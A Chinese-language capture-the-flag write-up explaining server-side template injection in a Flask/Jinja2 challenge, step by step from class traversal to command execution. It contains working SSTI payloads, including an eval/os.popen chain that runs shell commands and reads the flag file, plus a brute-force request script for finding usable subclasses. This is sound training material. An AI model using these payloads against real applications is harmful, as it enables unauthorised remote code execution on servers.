这里是WriteUp,关于SSTI的详解请见一道[CSCCTF 2019 Qual]FlaskLight的详解再遇SSTI_sGanYu的博客-CSDN博客
访问靶场
靶场地址:攻防世界
http://61.147.171.105:60865/2
/{{2*2}}
{{}}作为变量包裹标识符,在渲染的时候会把{{}}包裹的内容当做变量解析替换,比如{{2*2}}会被解
析成4
/{{''.__class__}}
''的类型是str类型,调用__class__,指向变量所属的类,格式为"变量.__class__"
/{{''.__class__.__mro__}}
由于''为str类型,通过str寻找当前类对象的所有继承类,当然__mro__不是唯一的方法,如__base__同样也可以寻找,但是只能找上一层的父类,如果被找的类型不止一个父类的话,就得通过很多个base去找
/{{''.__class__.__mro__[2]}}
__class__.__mro__以元组形式返还了两个关系,<class 'str'>和<class 'object'>,我们通过索引获取后面的object,也就是[2]
/{{''.__class__.__mro__[2].__subclasses__()}}
再通过__subclasses__找到object对象下的所有子类,当然同样可以通过__class__.__base__.__subclasses__()寻找
脚本编写:
import requests
url = 'http://61.147.171.105:60865'
for i in range(1, 100):
payload = "/{{''.__class__.__mro__[2].__subclasses__()["+str(i)+"].__init__['__glo'+'bals__']}}"
newurl = url + payload
res = requests.get(url=newurl + payload)
if 'builtins' in res.text:
print(newurl)
else:
pass
随便调用脚本生成的其中一个payload就行,这里我选择的是第一个
/{{''.__class__.__mro__[2].__subclasses__()[58].__init__['__glo'+'bals__']}}
/{{''.__class__.__mro__[2].__subclasses__()[58].__init__['__glo'+'bals__']['__builtins__']}}
/{{''.__class__.__mro__[2].__subclasses__()[58].__init__['__glo'+'bals__']['__builtins__']['eval']}}
/{{''.__class__.__mro__[2].__subclasses__()[58].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
远程命令执行,调用os模块 ,使用popen执行ls命令
/{{''.__class__.__mro__[2].__subclasses__()[58].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat fl4g').read()")}}